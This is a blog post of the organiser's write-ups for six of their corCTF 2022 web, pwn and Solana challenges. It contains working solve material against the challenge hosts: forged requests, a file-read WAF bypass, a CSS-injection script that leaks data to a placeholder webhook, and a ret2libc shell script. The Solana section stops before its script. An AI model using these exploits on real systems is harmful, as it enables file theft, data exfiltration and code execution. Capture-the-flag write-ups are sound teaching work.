corCTF 2022 Challenges

Sun Aug 07 2022


corCTF 2022 Challenge Writeups

Hello! My team, the Crusaders of Rust hosted their 2nd CTF, corCTF 2022, this weekend. In my opinion, the CTF went pretty well. There weren't too many infra mishaps (besides the 0day in our XSS admin bot), players seemed to enjoy the challenges, and there were challenges for everyone, with difficulties ranging from beginner to expert.

Special thanks to all my fellow challenge developers / organizers for their amazing work on the CTF. ginkoid was also my partner in crime, carrying the infra while I learned Terraform and K8s for the first time to help as best I could as well as doing on-call with me to make sure the infra stayed alive.

I wrote 7 challs out of the total 45, 4 being web, 2 being pwn, and 1 being misc.

Sadly, I had two other web challenges lined up that didn't make it to the CTF. One we scrapped because we realized players could make the challenge unsolvable for other teams, and the other you might see someday in a different CTF 😉. So, if you thought web was too hard this year, you're lucky it wasn't even harder (and that you got spared from one of my most 🧅 challenges...)

Anyway, here are the writeups to my challenges.

Contents

jsonquiz

jsonquiz was the first web challenge, and probably the easiest "real" challenge in the CTF. The website had a simple 15 question quiz that asked you questions from the LinkedIn JSON Skill Assessment quiz.

However, no matter what answers you choose, the quiz ends by saying you failed, and that your score was in the bottom 30%. Seems like we need to figure out exactly how the scoring is implemented.

Checking the source code, we see a quiz.js that seems to hold all the questions and answers. Searching for any references to "score" in this script, we find this section:

function finish() { $("#q" + num).classList = "mt-4 question animate__animated animate__fadeOutLeft"; $("#q" + num + " button").onclick = null; const responses = Array.from(document.querySelectorAll(".question")) .map(q => [ q.children[1].innerText, Array.from(q.children[2].querySelectorAll("input")) .filter(a => a.checked)[0]?.nextElementSibling?.innerText || "???" ]); console.log(responses); // TODO: implement scoring somehow // kinda lazy, ill figure this out some other time setTimeout(() => { let score = 0; fetch("/submit", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "score=" + score }) .then(r => r.json()) .then(j => { if (j.pass) { $("#reward").innerText = j.flag; $("#pass").style.display = "block"; } else { $("#fail").style.display = "block"; } }); }, 1250); }

So, it makes a POST request to /submit containing our score, and then responds with either "pass" or "fail". Crucially, it seems the score comes from the client, not the server, and is hardcoded to 0. Sending a new POST request with the score set to 15 gives us the flag!

$ curl https://jsonquiz.be.ax/submit --data "score=15" {"pass":true,"flag":"corctf{th3_linkedin_JSON_quiz_is_too_h4rd!!!}"}

corctf{th3_linkedin_JSON_quiz_is_too_h4rd!!!}

Side note: we made this challenge because we always fail the LinkedIn quiz. We've failed it collectively as a team like 11 times now (and the answers online seem to be wrong).

simplewaf

simplewaf was indeed a very simple challenge with a WAF. This was the third web challenge in the CTF by difficulty, and the difficulty curve may have been a little too steep... simplewaf was a small NodeJS/Express app where there was a simple local file read in a query parameter.

app.get("/", (req, res) => { try { res.setHeader("Content-Type", "text/html"); res.send(fs.readFileSync(req.query.file || "index.html").toString()); } catch(err) { console.log(err); res.status(500).send("Internal server error"); } });

The goal was to read /app/flag.txt. However, there's a small problem:

app.use((req, res, next) => { if([req.body, req.headers, req.query].some( (item) => item && JSON.stringify(item).includes("flag") )) { return res.send("bad hacker!"); } next(); });

There's a WAF middleware that checks whether the JSON representations of the request body, headers, or query string contains the string "flag". If it does, you're not allowed to get the flag. How do you get past the WAF?

This seems like it should be a fairly easy WAF to bypass. But actually, bypassing this simple WAF is deceptively hard.

We got many tickets from players about trying tricks with capitalization that worked locally, but not remote - they were running NTFS case-insensitive filesystems on Windows. I also heard many other methods from players - URL encoding, random Unicode shenanigans, byte order marks, prototype pollution, and others.

The problem with the encoding/Unicode attempts is that you pass in a string to fs.readFileSync. There's no reason for NodeJS to assume the string is a URL to decode it, so it just attempts to check if there's a file with that exact match on the file system. So NodeJS won't URL decode the string, and the Unicode attempts are not going to work since there's no weird Unicode in the flag name.

And prototype pollution is a slightly interesting idea, but you would only be able to assign to the __proto__ of req.query.file, and since that isn't merged with anything, you could only pollute properties on your own object - and you could already arbitrarily assign properties on it, so that would be useless too.

The solution was abusing Express's query parameter handling to pass in a carefully crafted object that fools NodeJS internals.

The first step is realizing that Express uses the qs npm module to provide req.query.file, which means that it can be used with other types besides a string.

For example, ?file[]=1&file[]=2 or ?file=1&file=2 turns req.query.file into ["1", "2"], and ?file[a]=b&file[c]=d turns req.query.file into {"a": "b", "c": "d"}. I'm not really sure why this happens by default, but sure.

So, what can we do with this. Well, running this locally and providing an Array, we see this error:

TypeError [ERR_INVALID_ARG_TYPE]: The "path" argument must be of type string or an instance of Buffer or URL. Received an instance of Array at Object.openSync (node:fs:582:10) at Object.readFileSync (node:fs:458:35) at /app/main.js:21:21 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:144:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:114:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:284:15 at Function.process_params (/app/node_modules/express/lib/router/index.js:346:12) at next (/app/node_modules/express/lib/router/index.js:280:10) { code: 'ERR_INVALID_ARG_TYPE' }

So, the "path" argument (the argument we provide in fs.readFileSync), is an Array, so it errors out. It tells us that it must be of type string, or an instance of Buffer or URL. We basically know that we can't do much with a string, so what about the other two?

Testing stuff out locally, we can see that:

> fs.readFileSync(new URL("file:///app/flag.txt")).toString() 'corctf{test_flag}' > fs.readFileSync(new URL("file:///app/fl%61g.txt")).toString() 'corctf{test_flag}' >

So, passing in a URL object, NodeJS will now happy URL decode our input string for us, which means we could bypass the WAF this method. There's just one obvious problem - we can only pass in a normal object, not a URL. Reading the docs makes doesn't really help us much as well. So this seems like a dead end... but how does NodeJS internally actually check that it's a URL?

Time to open up NodeJS internals.

We start our search here, at the function definition for readFileSync in lib/fs.js. Going down the call stack with our path argument, we see that this happens:

readFileSync -> openSync -> getValidatedPath (in `internal/fs/utils.js`) -> toPathIfFileURL (in `internal/url.js`)

More calls happen after toPathIfFileURL, but let's look at this function closely.

function toPathIfFileURL(fileURLOrPath) { if (!isURLInstance(fileURLOrPath)) return fileURLOrPath; return fileURLToPath(fileURLOrPath); }

So, this small snippet of code checks if the provided argument (our path) is a URL instance. If not, it just returns our provided argument. If it is, it runs the code fileURLToPath. We want to see if we can bypass this URL check with a base object, so how does isURLInstance work?

function isURLInstance(fileURLOrPath) { return fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin; }

Huh.

So, it doesn't actually check that the parameter is a URL object, just that it has the two attributes "href" and "origin". We can easily add these attributes! So, we can fake our object as a URL.

This means that the toPathIfFileURL will return fileURLToPath(fileURLOrPath), so how does this work?

function fileURLToPath(path) { if (typeof path === 'string') path = new URL(path); else if (!isURLInstance(path)) throw new ERR_INVALID_ARG_TYPE('path', ['string', 'URL'], path); if (path.protocol !== 'file:') throw new ERR_INVALID_URL_SCHEME('file'); return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path); }

Our path at this point is an object that passes the isURLInstance, check, so as long as our protocol is "file:", we go to the final return statement return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path); with our path exactly as provided. Since we're not running Windows, let's look into getPathFromURLPosix.

function getPathFromURLPosix(url) { if (url.hostname !== '') { throw new ERR_INVALID_FILE_URL_HOST(platform); } const pathname = url.pathname; for (let n = 0; n < pathname.length; n++) { if (pathname[n] === '%') { const third = pathname.codePointAt(n + 2) | 0x20; if (pathname[n + 1] === '2' && third === 102) { throw new ERR_INVALID_FILE_URL_PATH( 'must not include encoded / characters' ); } } } return decodeURIComponent(pathname); }

Perfect. So, we provide the exact value of the url argument, and the pathname attribute on our argument is URL decoded to return the final path. This is exactly what we need to bypass the WAF.

So, we need to create the following object:

  1. .href exists
  2. .origin exists
  3. .protocol === 'file:'
  4. .hostname === ''
  5. .pathname is /app/flag.txt URL encoded (note: this needs to be double URL encoded since Express will already URL decode once)

This gives us:

?file[href]=a&file[origin]=a&file[protocol]=file:&file[hostname]=&file[pathname]=/app/fl%2561g.txt

Sending this query parameter over to the server, we get the flag!

corctf{hmm_th4t_waf_w4snt_s0_s1mple}

rustshop

Finally, a Rust web challenge from the Crusaders of Rust! Some players last year were mentioning that we didn't have many Rust challenges, so if you want to find someone to blame, it's them...

rustshop was a simple shop/store app written in Rust. The source was provided, and both the frontend and backend were written in Rust, with the frontend written in Yew, and the backend in Axum. Thankfully, there's a hint provided that only the backend / server portion is vulnerable, and this should be further confirmed with the fact that there's no admin bot for this challenge.

So, we just have to read the server code. If you've never read Rust before, it might be hard to understand what's going on. The rustshop server listens on port 1337, and creates the following API endpoints:

GET /api/user - returns the logged in user information POST /api/register - register a new user POST /api/login - login as a user GET /api/items - get the items in the shop POST /api/buy - buy an item from the shop GET /api/flag - get the flag

When signing up, each user starts with $1000, and is able to buy the following items:

static ITEMS: Lazy<&'static [ShopItem]> = Lazy::new(|| { &[ ShopItem { name: "Ferris Plush", image: "https://cdn.shopify.com/s/files/1/0154/2777/products/4_1024x1024.jpg", price: 100, }, ShopItem { name: "Programming Socks", image: "https://m.media-amazon.com/images/I/61VyCXfaRXL._AC_UL320_.jpg", price: 500, }, // ShopItem { // name: "rustshop flag", // image: "https://ctf.cor.team/assets/img/ctflogo.png", // price: 13371337 // } ] });

To get the flag, the following checks must pass:

async fn flag_get(user: User) -> Json<APIResponse> { if user.money == 0x13371337 { for item in user.items { if item.name == "rustshop flag" && item.quantity == 0x42069 { return Json(APIResponse { status: APIStatus::Success, data: None, message: Some( env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()), ), }); } } } Json(APIResponse { status: APIStatus::Error, data: None, message: Some("no shot".to_string()), }) }

So essentially, to win, we need to get 0x13371337 money, and have bought 0x42069 of the item "rustshop flag".

But looking at the code, this seems impossible. Money is never added, only subtracted from your user (potentially you could overflow/underflow since the subtraction isn't checked, but there's a quantity limit), and there's no way to buy an item that isn't in the list of provided ITEMS.

So it seems like we can't modify our user to change its money or items. So, can we break something while the user is being created? Let's look at the register route:

async fn register_post(Json(body): Json<serde_json::Value>, cookies: Cookies) -> Json<APIResponse> { if !utils::validate_body(&body, &["username", "password"]) { return Json(APIResponse { status: APIStatus::Error, data: None, message: Some(String::from("Invalid input")), }); } let mut user: User = match serde_json::from_value(body) { Ok(user) => user, Err(_) => { return Json(APIResponse { status: APIStatus::Error, data: None, message: Some(String::from("Missing username or password")), }) } }; // snip

So, the register route takes in an arbitrary serde_json JSON value as body. If you look up resources on coding with serde_json / Axum / other Rust web libraries, this should already be a red flag. Usually, you define a trait/middleware to automatically parse the JSON and pass in the struct to the route, so it should've looked something like this:

async fn register_post(register_data: RegisterInput, cookies: Cookies) -> Json<APIResponse> {

This way, there's no way for type shenanigans to occur. So this is something we definitely need to look closer at. First, utils::validate_body is ran, which apparently checks that our body only contains the keys ["username", "password"].

Then, serde_json::from_value(body), creating a User struct directly from our arbitrary JSON body! This seems very weird. Usually, the validate_body function stops us from passing in other properties like money or items to serde_json::from_value, so the default handlers for those fields are ran.

If there's a way to bypass validate_body, we can create a User struct from our JSON body with arbitrary items/money. So, let's look into validate_body.

pub fn validate_body(body: &serde_json::Value, allowed: &[&str]) -> bool { if let Some(body) = body.as_object() { if body.keys().any(|key| !allowed.contains(&key.as_str())) { return false; } } true }

Hm, so validate_body takes our JSON body, parses it as a JSON object, and then looks to see if there are any keys not in the allowed array. Crucially, it seems that if our JSON body isn't an object, it will immediately return true.

This seems like a red flag, but it's probably fine, right? If our input isn't an object, how would it fill in the fields of the struct with the correct data?

Well...

fn deserialize_struct<V>( self, _name: &'static str, _fields: &'static [&'static str], visitor: V, ) -> Result<V::Value, Error> where V: Visitor<'de>, { match self { Value::Array(v) => visit_array(v, visitor), Value::Object(v) => visit_object(v, visitor), _ => Err(self.invalid_type(&visitor)), } }

So, serde_json can deserialize from a JSON object and an array... This actually popped up in an issue on the serde GitHub repo, but basically, serde can also deserialize the named fields in a struct from a sequence.

So, if we had the struct:

struct TestStruct { name: String, age: i32 }

Both {"name": "foo", "age": 21} and ["foo", 21] would deserialize correctly. Now, the solution should be clear - since validate_body only works on objects, we can pass in the exact struct data as an array, and it will create a User for us that should give us the flag.

$ curl https://rustshop.be.ax/api/register -v --data '["strelltest", "strelltest", [{"name": "rustshop flag", "quantity": 270441}], 322376503]' -H "Content-Type: application/json"
$ curl https://rustshop.be.ax/api/flag --cookie "session=8gSYK62vXk3CcNG74N2DGGEHUp2MTG83iWK5c5RKgKPUlCh0SObG0Bs9gUx9rlx4" {"status":"success","data":null,"message":"corctf{we_d0_s0me_s3rde_shen4nigans}"}

corctf{we_d0_s0me_s3rde_shen4nigans}

modernblog

modernblog was my hardest web challenge in the CTF. After zwad3's fun Live Art React challenge in picoCTF this year, I wanted to try my hand at making a challenge in React too.

It was a client-side web challenge where you had access to a React app with a backend in Express. There was a lot of code, but actually most of it was just boilerplate template code to implement logging in / database stuff. You could register, and create posts which would be saved on the server.

The flag was stored in a post on the admin user's account:

(() => { const flagId = crypto.randomBytes(6).toString("hex"); const flag = process.env.FLAG || "flag{test_flag}"; users.set("admin", { pass: sha256(process.env.ADMIN_PASSWORD || "test_password"), posts: Object.freeze([flagId]), }); posts.set(flagId, { id: flagId, title: "Flag", body: flag, }); })();

Since you can only see your own posts, we have to either somehow get access to the admin's account, or leak their list of posts (since you can look at any post if you know the URL).

There is a very obvious bug here in the client-side:

<Stack spacing={4} w="full" maxW="md" bg={useColorModeValue("gray.50", "gray.700")} rounded="xl" boxShadow="2xl" p={6} my={12} > <Heading lineHeight={1.1} fontSize={{ base: "2xl", md: "3xl" }}> {title} </Heading> {/* CSP is on, so this should be fine, right? */} {/* Clueless */} <div dangerouslySetInnerHTML={{ __html: body }}></div> </Stack>

So, our post contents are directly output onto the page using dangerouslySetInnerHTML. But, like the comment says, there's a CSP:

script-src 'self'; object-src 'none'; base-uri 'none';

Which means that we have no control over JS execution. We want to either get access to the admin's account, which usually means stealing their cookies (or some form of a CSRF), or getting the contents of the /home page, where all the user's posts are listed.

But wait, we only have markup injection on /post/{our post id}. Presumably, we would send over a custom malicious post to the admin, but what could that even do? We can't inject our own JS because of the script-src 'self', and the contents that we want to steal are on /home, and we can't change the page.

🙃

This seems like an unsolvable challenge. We can't XS-leak / CSS injection leak something on another page, and we don't have something to leak bit information with... there's probably no CSP bypass gadget in React, that seems like that would be very dangerous... so what gives?

This challenge would be unsolvable if not for one fact - this is a single page application, running React + React Router 😉

I did tell a tiny lie earlier, I said "we have no control over JS execution", which isn't true. There's a very well-known attack called DOM clobbering where you inject HTML onto the page to manipulate DOM elements and change the control flow of JavaScript.

It looks a little something like this:

document.write(`<div id="test">hello</div>`); // clobbers window.test console.log(window.test) // outputs that div element

DOM clobbering is a well-known technique that can clobber undefined properties in the global window object. But, did you read this writeup of mine? If so, you would know that DOM clobbering can also clobber properties in the document object :)

In my HTB challenge Analytical Engine, the solution involved clobbering document.cookie with an HTML element, which looks something like this:

And this very same technique is applicable in this challenge too! The core of this challenge was finding a gadget that would fool React Router into changing what page to render, and here it is:

<iframe name='defaultView' src='/home'></iframe>

How does this work? Well, to find out, we have to look at how this app determines the page to render.

In main.jsx, we see this:

import React from 'react'; import ReactDOM from 'react-dom/client'; import { BrowserRouter } from 'react-router-dom'; // snip ReactDOM.createRoot(document.getElementById('root')).render( <React.StrictMode> <ChakraProvider> <BrowserRouter> <Routes> <Route path="/" element={<Index />} /> <Route path="/register" element={<Register />} /> <Route path="/login" element={<Login />} /> <Route path="/home" element={<Home />} /> <Route path="/post/:id" element={<Post />} /> </Routes> </BrowserRouter> </ChakraProvider> </React.StrictMode> );

So, React Router uses its BrowserRouter component to determine the exact route to display. Remember, this is a single page application! All of these different "pages" actually load the same JS, but that JS displays different pages based on the Router.

How does BrowserRouter work? Well, you can take a look at the docs. The BrowserRouter "stores the current location in the browser's address bar using clean URLs and navigates using the browser's built-in history stack". So basically, it modifies entries using the History API, and then checks the current URL to see what page it needs to render.

But wait, if it checks the current URL, how does this work? If we change the current URL, we lose our markup injection and can't do anything!

The key is in the next paragraph:

<BrowserRouter window> defaults to using the current document's defaultView, but it may also be used to track changes to another window's URL, in an <iframe>, for example.

The current document's defaultView? document.defaultView? Hm...

Indeed, digging deep into the actual source code, we see this line in the history npm package by remix-run:

export function createBrowserHistory( options: BrowserHistoryOptions = {} ): BrowserHistory { let { window = document.defaultView! } = options; let globalHistory = window.history; function getIndexAndLocation(): [number, Location] { let { pathname, search, hash } = window.location; let state = globalHistory.state || {}; return [ state.idx, readOnly<Location>({ pathname, search, hash, state: state.usr || null, key: state.key || "default", }), ]; }

On the first line of the function, we read document.defaultView as the default if there is no window property in options... and guess what <iframe name='defaultView' src='/home'></iframe> clobbers :)

So, this code takes document.defaultView as window, and essentially does document.defaultView.history.state and document.defaultView.location. My first attempts at clobbering this involved trying to use nested <form>s and <div>s, but then I just realized, if it wants document.defaultView to be a window, why don't we give it a window?

Let's see what happens if we inject this HTML on the page:

Well, isn't that cool?

This alone isn't enough for a full solution yet. Just injecting this HTML isn't enough for the page to change (since React Router) doesn't rerun its createBrowserHistory function. And we still need to find a way to use this to leak the post URLs...

We need createBrowserHistory to run again, which means the React app needs to reload. But if the React app reloads, we will lose our injection! This is where the second big idea of this challenge comes in: why don't we just create another React app inside of our React app?

Well, we can try and do this with <iframe>'s srcdoc attribute! If we handcraft a custom HTML page that loads the /assets/index.7352e15a.js React script, and place it in a srcdoc, we should have a version of the React app inside the iframe's srcdoc!

Let's try it:

<iframe srcdoc=" <!DOCTYPE html> <html> <head> <script type='module' crossorigin src='/assets/index.7352e15a.js'></script> </head> <body> <div id='root'></div> </body> </html> "></iframe>

Doing this, we get the error:

DOMException: Failed to execute 'replaceState' on 'History': A history state object with URL 'about:srcdoc' cannot be created in a document with origin 'https://modernblog.be.ax' and URL 'about:srcdoc'.

So, it tries to access document.defaultView.history when document.defaultView links to the current window in about:srcdoc, which fails. But, if we combine this with our React Router gadget, we get:

<iframe style="width: 75vw; height: 75vh" srcdoc=" <!DOCTYPE html> <html> <head> <style>* { color: red }</style> <script type='module' crossorigin src='/assets/index.7352e15a.js'></script> </head> <body> <iframe name='defaultView' src='/home'></iframe> <div id='root'></div> </body> </html> "></iframe>

This may look a little confusing at first, but at the top left, we see the defaultView <iframe> pointing to /home. Outside of that, we see the <div id='root'></div>, loading the React app with the /home page again. But crucially, you'll notice that the text color is red :)

So, that's about it. Using this, we can essentially inject custom CSS onto the /home page. Since the admin will have an <a> tag on this page linking to the flag, we can leak the flag character by character using classic CSS injection techniques.

Solution:

WEBHOOK = "https://webhook" alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ" known = "18" css = "" for c in alphabet: query = known + c css += f"""a[href^='/post/{query}'] {{ background-image: url('{WEBHOOK}?{query}') }} """ payload = """<iframe srcdoc=" <!DOCTYPE html> <html> <head> <style> """ + css + """ </style> <script type='module' crossorigin src='/assets/index.7352e15a.js'></script> </head> <body> <iframe name='defaultView' src='/home'></iframe> <div id='root'></div> </body> </html> " style='width:50vw; height: 50vh'></iframe>""" print(payload)

Running this script gives us an HTML document that we can create into a post, and sending it to the admin will leak the flag URL character by character. Then, we just visit the URL to get the flag!

corctf{r3act_actu4lly_1snt_th4t_m0dern}

Onto the pwn writeups!

babypwn

babypwn was as its title suggests, a baby pwn challenge. What's slightly quirky about this challenge is that it's written in Rust.

use libc; use libc_stdhandle; fn main() { unsafe { libc::setvbuf(libc_stdhandle::stdout(), &mut 0, libc::_IONBF, 0); libc::printf("Hello, world!\n\0".as_ptr() as *const libc::c_char); libc::printf("What is your name?\n\0".as_ptr() as *const libc::c_char); let text = [0 as libc::c_char; 64].as_mut_ptr(); libc::fgets(text, 64, libc_stdhandle::stdin()); libc::printf("Hi, \0".as_ptr() as *const libc::c_char); libc::printf(text); libc::printf("What's your favorite :msfrog: emote?\n\0".as_ptr() as *const libc::c_char); libc::fgets(text, 128, libc_stdhandle::stdin()); libc::printf(format!("{}\n\0", r#" ....... ...----. .-+++++++&&&+++--.--++++&&&&&&++. +++++++++++++&&&&&&&&&&&&&&++-+++&+ +---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+- -+-+&&+-..--.-&++&&&&&&&&&++-+&&-. .... -+--+&+ .&&+&&&&&&&&&+--+&+... .. -++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+. .+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++-- .++++++++---------+&&&&&&&&&&&&@&&++--+++&+ -+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+- .++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++- -++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&& -+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@& -+&&&@@@@@&&&+++++++++++++++++&&&@@@@+ .+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&- .+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+ .+&&&@@@@@@@@@@@@@@@@@@@@@&+. .-&&&&@@@@@@@@@@@@@@@&&- .-+&&&&&&&&&&&&&+-. ..--++++--."#).as_ptr() as *const libc::c_char); } }

Luckily, the source is provided. We can easily see there's a printf vuln since our input goes directly to printf, and then right after, there's a buffer overflow as we can write 128 chars into a buffer of size 64.

Running checksec on the binary, we see:

Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled

So there's ASLR, NX, and PIE, but no stack canary. So, we end up just doing a ret2libc. Since there's randomization, we have to leak libc address, but that can easily be done with the printf vuln by printing %p%p. Here's my solve script:

from pwn import * exe = context.binary = ELF('./babypwn') libc = ELF('./libc.so.6') io = remote("be.ax", 31801) print(io.recvuntil(b"name?\n")) io.sendline(b'%p%p') data = io.recvline() print(data) data = data.replace(b"Hi, ", b"") data = data.replace(b"(nil)", b"") leak = int(data, 16) print(f"leak: {hex(leak)}") libc_base = leak + 0x1440 libc.address = libc_base print(f"libc_addr @ {hex(libc.address)}") print(io.recvuntil(b"?\n")) rop = ROP(libc) rop.call(rop.ret) rop.system(next(libc.search(b"/bin/sh"))) io.sendline(flat({96: rop.chain()})) io.interactive()

Running this pops a reverse shell, and then we can cat flag.txt:

corctf{why_w4s_th4t_1n_rust???}

solidarity

corCTF 2022 was sponsored by OtterSec, so I wrote a Solana challenge! The challenge was fairly simple, combining two bugs to steal everything from the smart contract's vault. Also, I'm still kind of a Solana noob, so stuff in this writeup might be a little wrong (DM me if there's anything weird).

Connecting to the remote instance, we see this:

solidarity &@% #@@@@@@@@@* #@@@@@@@ %@@@@@@@@, .@@@@@@@@@@@@ .@@@@@@@@@@@* @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&.@@@@@@@@@* @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.,@@@@@@@@@@@@, %@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#*,/&@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ %( @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&(*,#@@@@&@@@@%@&( @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@ ,@@& @@* .@@@@@@@@@@@@@@@@@@@@@@@@. @@, %%/ *@@@@@@@@@( /@@@@@@@@@@@@@@@@@@@@@@% .@% @@@* (@@@@@@( (@@@@@@@@@@@@@@@@@@@@@# @& @/ &@@@@% .@@@@@@@@@@@@@@@@@@@@@ @@ /@ @@@@@ @@@@@@@@@@@@@@@@@@@@& @@ @ .@@@@& @@@@@@@@@@@@@@@@@@@@ @@ @ @@@@@ (@@@@@@@@@@@@@@@@@@@% @@ /# @@@@@& *@@@@@@@@@@@@@@@@@@@@ /@% @ (@@@@@@ @@@@@@@@@@@@@@@@@@@@@ (@% %@/ %@@@@@@@& .@@@@@@@@@@@@@@@@@@@@@@/ .,,//,%@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@&&%%%&@@@@@@@@@@@@@@@@@@@@@/ *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@, &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& %@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@, *#&@@@@@@&#* save the otters with your vote! vote for proposals you care about :) proposal 1: the team buys an otter and takes care of it proposal 2: buy some fish to feed the otters proposal 3: donate to the International Otter Survival Fund proposal 4: we go on a field trip to build some cute shelters for otters now, vote for your choice...

So, this app is kind of a bootleg "governance" setup. We can donate to 4 proposals with our lamports, and then the contract creator can presumably withdraw the funds to do the proposal.

Luckily, source was provided, so you didn't have to reverse anything. I'll give a high level view of the contract now. There were two account types:

#[repr(C)] #[derive(BorshSerialize, BorshDeserialize)] pub struct Config { pub admin: Pubkey, pub total_balance: u64 } #[repr(C)] #[derive(BorshSerialize, BorshDeserialize)] pub struct Proposal { pub creator: Pubkey, pub balance: u32, pub proposal_id: u32 }

The Config struct is created once on contract initialization, and holds the admin who should be able to withdraw everything from the vault. The Proposal struct can be created by the admin, and represents each "proposal" that non-admin users can donate their lamports to.

There's also a "vault" with no associated data, where all the lamports are stored.

There are four types of instructions:

  1. initialize, which should only run once on contract initialization and creates the Config
  2. propose, which should only be accessible by admin, and creates a new Proposal for players to donate to
  3. vote, which anyone can run, and it transfers lamports for the user's account to a proposal of their choice
  4. withdraw, which only the admin can run, and it allows the admin to withdraw all the money from the vault

Now, let's look at the server code:

Upon connection the opening text is displayed, and then we can provide a compiled input program's data to be ran later. Then, two accounts are created, the "admin" and "user". The "admin" gets 100000 lamports, and the "user" gets 2000.

Then, the public keys of the "admin", "user", and "program" are given to us.

Then, the following instructions are ran:

challenge.env.execute_as_transaction( &[ // initialize the smart contract initialize(program_pubkey, admin.pubkey()), // create proposals propose(program_pubkey, admin.pubkey(), admin.pubkey(), 1), propose(program_pubkey, admin.pubkey(), admin.pubkey(), 2), propose(program_pubkey, admin.pubkey(), admin.pubkey(), 3), propose(program_pubkey, admin.pubkey(), admin.pubkey(), 4), // personally, i want to go on a field trip vote(program_pubkey, admin.pubkey(), 4, 99_000), ], &[&admin], );

The admin:

  1. initializes the smart contract
  2. creates 4 proposals
  3. puts 99000 lamports in the 4th proposal (the field trip proposal)

Then, our solve is run signed with the user's private key, so we can execute instructions as the user. After our solve is run, it checks that we have more than 50000 lamports, and if so, gives us the flag.

So, the goal is obvious: somehow break into the smart contract's vault, steal 50000 lamports from it, and get the flag.

If you haven't done any Solana smart contract analysis before, I would recommend reading OtterSec's Solana auditor introduction blog post as well as Neodyme's blog post about common mistakes in Solana smart contracts.

There are two vulnerabilities in the smart contract:

  1. missing is_signer check literally everywhere
  2. account confusion between Config and Proposal

If you read the two links above, you should hopefully know that a missing is_signer check is very dangerous. We can send arbitrary accounts to any instruction, so the is_signer field denotes that the user who owns this account signed this transaction.

Since the is_signer check is missing, we can basically run any admin-only instruction by just passing in the admin's account as the user. This means that we can run propose and withdraw (initialize has a check to make sure it only runs once).

Ok, perfect! If we can run withdraw, let's just drain the vault. Here's the code for withdraw:

fn withdraw(program: &Pubkey, accounts: &[AccountInfo], lamports: u64) -> ProgramResult { let account_iter = &mut accounts.iter(); let config = next_account_info(account_iter)?; let vault = next_account_info(account_iter)?; let user = next_account_info(account_iter)?; // positive amount if lamports <= 0 { return Err(ProgramError::InvalidArgument); } // assert that the config, vault, and proposal are correct assert_eq!(config.owner, program); assert_eq!(vault.owner, program); // assert that we actually have the vault let (vault_addr, _) = get_vault(*program); assert_eq!(*vault.key, vault_addr); // retrieve config data let config_data = &mut Config::deserialize(&mut &(*config.data).borrow_mut()[..])?; // assert that the user is an admin assert_eq!(*user.key, config_data.admin); // make sure you can withdraw that much if lamports > config_data.total_balance { return Err(ProgramError::InsufficientFunds); } // update the config total balance let config_data = &mut Config::deserialize(&mut &(*config.data).borrow_mut()[..])?; config_data.total_balance = config_data.total_balance.checked_sub(lamports.into()).unwrap(); config_data .serialize(&mut &mut (*config.data).borrow_mut()[..]) .unwrap(); // withdraw safely let mut vault_lamports = vault.lamports.borrow_mut(); **vault_lamports = (**vault_lamports).checked_sub(lamports).unwrap(); let mut user_lamports = user.lamports.borrow_mut(); **user_lamports = (**user_lamports).checked_add(lamports).unwrap(); Ok(()) }

It's a bit long, so here are the important checks:

  1. checks that both the vault & config are created by the contract
  2. checks that the vault passed in is actually the vault address
  3. checks that the user passed in is the admin from the config
  4. that the amount to withdraw is not greater than the balance in the vault

Then, it transfers the money from the vault to the admin.

But wait, if it checks that the user passed in is the admin, and then transfers the lamports to the user, that means we can only transfer money to the admin! The missing is_signer check doesn't really help us here, since we can only transfer the money to the admin.

Hmm...

If you read the blog post, you should see another type of vulnerability called "Account Confusion". The smart contract is missing checks to make sure that the config passed in is really a config.

Let's look at our types again.

#[repr(C)] #[derive(BorshSerialize, BorshDeserialize)] pub struct Config { pub admin: Pubkey, pub total_balance: u64 } #[repr(C)] #[derive(BorshSerialize, BorshDeserialize)] pub struct Proposal { pub creator: Pubkey, pub balance: u32, pub proposal_id: u32 }

What would happen if instead of a Config, we passed in a Proposal? Well, the field config_data.admin would actually correspond to proposal_data.creator... and we can use the missing is_signer check in propose to create our own proposals! From here, the solve path is clear.

  1. Create a proposal (make sure to pass in creator as our current user and admin as the admin) (also, make sure that the struct layout for balance & proposal_id make it so total_balance is high enough to withdraw enough)
  2. Withdraw using that proposal as the config

Here is my solve script:

